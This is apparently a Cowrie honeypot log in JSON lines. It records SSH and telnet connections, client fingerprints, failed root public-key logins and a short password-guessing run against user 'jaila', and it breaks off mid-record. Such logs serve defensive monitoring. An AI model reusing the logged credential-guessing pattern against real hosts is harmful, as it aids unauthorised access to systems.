{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:f4:e3:65:4c:5b:93:b9:65:dd:51:d7:7e:c6:96:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdniziyOIwaBJ0HHBa60UTu6gTrt8mJ7aSGhLi11Lv+wbLkF4REohndK/I6olYpClkP0N7G68Ws1bLHFCnDQPn10SMIwNKaTVXBVQri33IFqlEKBF5dSl5Nk0QNO7+LiStsWXCf6hnxyfBs3ydIsL8c8oltmd6BRrLGxTp9aThfK3qUW7eikqbByO1yDh58+PySQ25x0nsGSTmuholI3Jo4ozR2Z/2WGEoECGT/ZNP+bcxDmcjrCIKmVlQomEf+Yth6gFB0WGNupv9Q6krsD61TA0Zz1sWmlS/mIDACTaol0MgAhTPRy+cNnZCbqI9jFXOvqdmP3RSL6FiKyiMbU/p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.997354Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:20.073053Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":36976,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c44513c6c6d","protocol":"ssh","message":"New connection: 64.31.53.170:36976 (10.17.0.5:22) [session: 6c44513c6c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.805198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.810065Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.819363Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:cc:ea:de:3c:b7:9e:a2:9e:12:fb:82:66:30:3a:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4DGHojj5SgrA/YZ2JCc9R2QYkcCkiZr1g0rzyHzskz7GjW/8G1xhGTtwrKqrWFIePqK5BD0vFgvxbTpGTPUX6HLoR9+SBTvvaMU5EdPtDEU47L4KBDdde12VNgA/ZL8AOJy1+Ad9pswyLoXQl6XxCtWtsQlZ46C0P4U/QT5moCqdlPPcHO7VfLHfq0fdlNwByLl6eqNInzjc48PcEDzHw/ZHPwUfJSus63cl/xgq2WaUZ/DojCZgPO+Qu3YVYyq8UBxmwZ+Po7VicvKDJPYq6Mp/35wmgB0n1HC74TxGtW6V4zcsBoOfGKU2dhlmCPWwkgqNaOf5gk6l4dkxkYdPj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:cc:ea:de:3c:b7:9e:a2:9e:12:fb:82:66:30:3a:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.836135Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:cc:ea:de:3c:b7:9e:a2:9e:12:fb:82:66:30:3a:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4DGHojj5SgrA/YZ2JCc9R2QYkcCkiZr1g0rzyHzskz7GjW/8G1xhGTtwrKqrWFIePqK5BD0vFgvxbTpGTPUX6HLoR9+SBTvvaMU5EdPtDEU47L4KBDdde12VNgA/ZL8AOJy1+Ad9pswyLoXQl6XxCtWtsQlZ46C0P4U/QT5moCqdlPPcHO7VfLHfq0fdlNwByLl6eqNInzjc48PcEDzHw/ZHPwUfJSus63cl/xgq2WaUZ/DojCZgPO+Qu3YVYyq8UBxmwZ+Po7VicvKDJPYq6Mp/35wmgB0n1HC74TxGtW6V4zcsBoOfGKU2dhlmCPWwkgqNaOf5gk6l4dkxkYdPj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.840068Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:50:e4:ff:2e:45:c5:a0:5d:ca:97:fd:77:54:74:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqCGunPcEbHwpFWggWoHu3ksTI3wqzTjOSlFbI1EGq6dcmcNBCNbXVBnCZXdKr36y6eu8+hJdn8mwFrCZNFC7dl1Ykfa0+ffLKzqKqtRsky2YP4ieavDVX4OFjT0C4GABx+joBuq8fo1tncJGZno6Y4x5gxhJm9qhwa6N6qZI8UB3usADpyTvn9fSh0PspyDyK2qqQgPO1/a/k921GHKOtIdxCAQkioP2RpVLP0ITmLMRYSBUfcjheYCZSQM/GbYqZkpGTfapJhkpNS3WEsZpquWzPKbWIE1qpFARTJziRb4RQa7BsHxmoPm8S5N6Idwvsadn54cEWDpzYDZKIhedGLy8962zcNc5vNxeqz5RaoaZr915t5lc+5EXJAOJ61d08UA/36CeNYNoHuR86IH68QwAwfIBQ9pCKpvOJIBoCigOACODfLSvJwElHQrJr2Y7OoINuiamWd2pjy0aNnQtTiY3lvxeMD8V+FnCDHdPHe9QTI8ADjnIt+g97Vcbk2kPO9l6ej6A4A5pkc6fBez0GKfD0OsYeKy4GnNwCPWlgjKSqD8GdP8llTgY419J6Bm1VNdTc9/nrUIOzlt7QUd/pBCh7D8d7HPw1Pw1kkCZBfy6hGP9Zhj4/S/yjQ4Y9CVqhzJDqse/U7viBeytkGAn8FIGs4XHhaWZUmKy5Z7NXzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:50:e4:ff:2e:45:c5:a0:5d:ca:97:fd:77:54:74:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.847752Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:50:e4:ff:2e:45:c5:a0:5d:ca:97:fd:77:54:74:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqCGunPcEbHwpFWggWoHu3ksTI3wqzTjOSlFbI1EGq6dcmcNBCNbXVBnCZXdKr36y6eu8+hJdn8mwFrCZNFC7dl1Ykfa0+ffLKzqKqtRsky2YP4ieavDVX4OFjT0C4GABx+joBuq8fo1tncJGZno6Y4x5gxhJm9qhwa6N6qZI8UB3usADpyTvn9fSh0PspyDyK2qqQgPO1/a/k921GHKOtIdxCAQkioP2RpVLP0ITmLMRYSBUfcjheYCZSQM/GbYqZkpGTfapJhkpNS3WEsZpquWzPKbWIE1qpFARTJziRb4RQa7BsHxmoPm8S5N6Idwvsadn54cEWDpzYDZKIhedGLy8962zcNc5vNxeqz5RaoaZr915t5lc+5EXJAOJ61d08UA/36CeNYNoHuR86IH68QwAwfIBQ9pCKpvOJIBoCigOACODfLSvJwElHQrJr2Y7OoINuiamWd2pjy0aNnQtTiY3lvxeMD8V+FnCDHdPHe9QTI8ADjnIt+g97Vcbk2kPO9l6ej6A4A5pkc6fBez0GKfD0OsYeKy4GnNwCPWlgjKSqD8GdP8llTgY419J6Bm1VNdTc9/nrUIOzlt7QUd/pBCh7D8d7HPw1Pw1kkCZBfy6hGP9Zhj4/S/yjQ4Y9CVqhzJDqse/U7viBeytkGAn8FIGs4XHhaWZUmKy5Z7NXzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.851302Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:19:26:fb:6a:77:10:92:33:6f:78:aa:e8:08:65:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuv9aoi4Nek9a26bR0+b0QIHNURUxwgdS7BnSSW8fOlD+rU9AxHrmrnk1x7ruEj1J3WwRPj+GD/p6FsB49txe2wmyZNDIpFQHgwq13IuW2YutWu9GyfH2qNgKubs2Zkw6AFaSiOlOF5kx/d6m7g6Fj1BtXLJfanoh7w8sJUZV3Te1W5fIH39gi1mq64UZpwNeg3xnc0OGDME+QDyBaumHIZr6kOYjtr/c6RjHa7SYgx8lRJeu8shK3ElLUxmUNCw8pSEKieF2S6VkqXA0M4KanC6+CgMyvh4WenuGrUnW6LMsApGVO/5E7X2JBgP3s/kIS1TNl6JXjPYtamBmuF8iMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:19:26:fb:6a:77:10:92:33:6f:78:aa:e8:08:65:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.859987Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:19:26:fb:6a:77:10:92:33:6f:78:aa:e8:08:65:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuv9aoi4Nek9a26bR0+b0QIHNURUxwgdS7BnSSW8fOlD+rU9AxHrmrnk1x7ruEj1J3WwRPj+GD/p6FsB49txe2wmyZNDIpFQHgwq13IuW2YutWu9GyfH2qNgKubs2Zkw6AFaSiOlOF5kx/d6m7g6Fj1BtXLJfanoh7w8sJUZV3Te1W5fIH39gi1mq64UZpwNeg3xnc0OGDME+QDyBaumHIZr6kOYjtr/c6RjHa7SYgx8lRJeu8shK3ElLUxmUNCw8pSEKieF2S6VkqXA0M4KanC6+CgMyvh4WenuGrUnW6LMsApGVO/5E7X2JBgP3s/kIS1TNl6JXjPYtamBmuF8iMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.863545Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:28:25:f3:08:b5:43:56:9e:d5:7e:a1:17:7b:6d:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbCWTmy1BXGyv5Vprribb+s5lpmrU5KAJxLAJayRa2iqd7s0ZdP+hRuSudrd/IVW5Buv1M81MdRUTurKaSBagsoz5y3lxObCKMQI1ix3kyi3MnvpNt1XRvUTd6GaOpbUoU2uu0CC9m8BSRq8CtVO2rXNA6J0SvkwsVmtm0wVpjBDDa8d1qi49NidK7vNn6dL6M1Pb2yq9AqApUGkXxN6rCpEe+jKImxL7W1q3BNBdH18phIILcP4KE0U4EbvW4Uyxe52X9Qv6BZn493qyqnCZ78Xcv5G2ijsv9UwEni18NWH+zZb35KMHb1C0C1PSTkgAk1FzYQE731q7ZCaruZFc/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:28:25:f3:08:b5:43:56:9e:d5:7e:a1:17:7b:6d:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.872895Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:28:25:f3:08:b5:43:56:9e:d5:7e:a1:17:7b:6d:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbCWTmy1BXGyv5Vprribb+s5lpmrU5KAJxLAJayRa2iqd7s0ZdP+hRuSudrd/IVW5Buv1M81MdRUTurKaSBagsoz5y3lxObCKMQI1ix3kyi3MnvpNt1XRvUTd6GaOpbUoU2uu0CC9m8BSRq8CtVO2rXNA6J0SvkwsVmtm0wVpjBDDa8d1qi49NidK7vNn6dL6M1Pb2yq9AqApUGkXxN6rCpEe+jKImxL7W1q3BNBdH18phIILcP4KE0U4EbvW4Uyxe52X9Qv6BZn493qyqnCZ78Xcv5G2ijsv9UwEni18NWH+zZb35KMHb1C0C1PSTkgAk1FzYQE731q7ZCaruZFc/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.876916Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:69:8c:bd:ab:63:c1:81:00:52:6e:45:ae:ac:6e:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5OjO80+2HgT/xM8uVZoZSORnGuwUyjZSVmV3nJ/kffI0BGjcF5Ck2QxX5mzyiE+rXZoVTf+QnQMbt/sMuw17jbOrJ/IR671Amox9n0aUBMVwl6qiae0lZVZpAIFQs7gAQR5jj2wz1cQf1LwfaDCm0m8DjAeLCvlukVARNt0/izSXflIGDUnd7t8hmlH0lRPuGEuHIeoOZa7gpr3vpgTv8FenX+pAnd1y+IFEA/kFoDZ6HtreCzdN+Jc6aI5OLwjZrRwkzT2GQrqPfJDPvEA8ZkwW0YK5iqvw9ljVep6bKJLSGet4ytg4Rsz/lvh4ThTaoKhADWWcS/uG+tTdzzfSL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:69:8c:bd:ab:63:c1:81:00:52:6e:45:ae:ac:6e:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.885432Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:69:8c:bd:ab:63:c1:81:00:52:6e:45:ae:ac:6e:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5OjO80+2HgT/xM8uVZoZSORnGuwUyjZSVmV3nJ/kffI0BGjcF5Ck2QxX5mzyiE+rXZoVTf+QnQMbt/sMuw17jbOrJ/IR671Amox9n0aUBMVwl6qiae0lZVZpAIFQs7gAQR5jj2wz1cQf1LwfaDCm0m8DjAeLCvlukVARNt0/izSXflIGDUnd7t8hmlH0lRPuGEuHIeoOZa7gpr3vpgTv8FenX+pAnd1y+IFEA/kFoDZ6HtreCzdN+Jc6aI5OLwjZrRwkzT2GQrqPfJDPvEA8ZkwW0YK5iqvw9ljVep6bKJLSGet4ytg4Rsz/lvh4ThTaoKhADWWcS/uG+tTdzzfSL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.888961Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:35.898623Z","src_ip":"64.31.53.170","session":"6c44513c6c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":46696,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3dedbc41794","protocol":"ssh","message":"New connection: 124.193.81.23:46696 (10.17.0.5:22) [session: d3dedbc41794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:59.040656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:59.047030Z","src_ip":"124.193.81.23","session":"d3dedbc41794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:59.285496Z","src_ip":"124.193.81.23","session":"d3dedbc41794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:03:59.793379Z","src_ip":"124.193.81.23","session":"d3dedbc41794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.8.35.163","src_port":49005,"dst_ip":"10.17.0.5","dst_port":23,"session":"70bed59566ab","protocol":"telnet","message":"New connection: 121.8.35.163:49005 (10.17.0.5:23) [session: 70bed59566ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:04:34.626163Z"}
{"eventid":"cowrie.session.closed","duration":12.950582027435303,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:04:47.576634Z","src_ip":"121.8.35.163","session":"70bed59566ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":20200,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dbb3df43474","protocol":"ssh","message":"New connection: 213.209.159.56:20200 (10.17.0.5:22) [session: 3dbb3df43474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:06:57.642348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:06:57.646956Z","src_ip":"213.209.159.56","session":"3dbb3df43474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:06:57.729199Z","src_ip":"213.209.159.56","session":"3dbb3df43474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila","message":"login attempt [jaila/jaila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:06:58.131993Z","src_ip":"213.209.159.56","session":"3dbb3df43474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila1","message":"login attempt [jaila/jaila1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:06:59.218967Z","src_ip":"213.209.159.56","session":"3dbb3df43474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila123","message":"login attempt [jaila/jaila123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:07:00.304831Z","src_ip":"213.209.159.56","session":"3dbb3df43474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila1234","message":"login attempt [jaila/jaila1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:07:01.390688Z","src_ip":"213.209.159.56","session":"3dbb3df43474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaila","password":"jaila12345","message":"login attempt [jaila/jaila12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:07:02.477133Z","src_ip":"213.209.159.56","session":"3dbb3df43474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:07:03.563557Z","src_ip":"213.209.159.56","session":"3dbb3df43474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.107","src_port":64630,"dst_ip":"10.17.0.5","dst_port":22,"session":"73982ddf43a3","protocol":"ssh","message":"New connection: 66.132.172.107:64630 (10.17.0.5:22) [session: 73982ddf43a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:07:17.885839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:07:18.770519Z","src_ip":"66.132.172.107","session":"73982ddf43a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["a